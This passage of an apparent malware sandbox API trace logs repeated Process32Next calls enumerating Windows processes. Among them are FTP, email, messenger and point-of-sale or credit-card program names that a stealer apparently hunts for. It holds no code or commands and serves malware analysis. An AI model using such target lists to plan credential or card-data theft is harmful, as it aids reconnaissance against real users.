(in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.133] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.135] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.137] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.139] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.141] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0269.143] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.144] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.146] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.148] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.149] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.151] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.153] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0269.154] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.156] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.158] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.159] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.161] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.162] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.164] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0269.166] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0269.168] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0269.170] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0269.171] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0269.173] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0269.175] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0269.177] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0269.179] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0269.180] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0269.182] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0269.184] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0269.185] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0269.187] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0269.189] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0269.191] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0269.193] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0269.194] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0269.196] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0269.198] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0269.201] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0269.203] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0269.205] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0269.209] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0269.211] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0269.213] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0269.215] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0269.217] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0269.219] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0269.222] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0269.307] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0269.309] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0269.312] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0269.315] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0269.317] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0269.319] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0269.321] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0269.323] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0269.326] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0269.328] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0269.361] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0269.363] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0269.365] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0269.367] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0269.369] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0269.371] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0269.374] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0269.376] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0269.378] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0269.380] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0269.381] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0269.383] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0269.386] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0269.388] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0269.390] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0269.391] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0269.393] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0269.395] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0269.397] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0269.399] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0269.401] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0269.402] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0269.404] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0269.412] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0269.414] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: 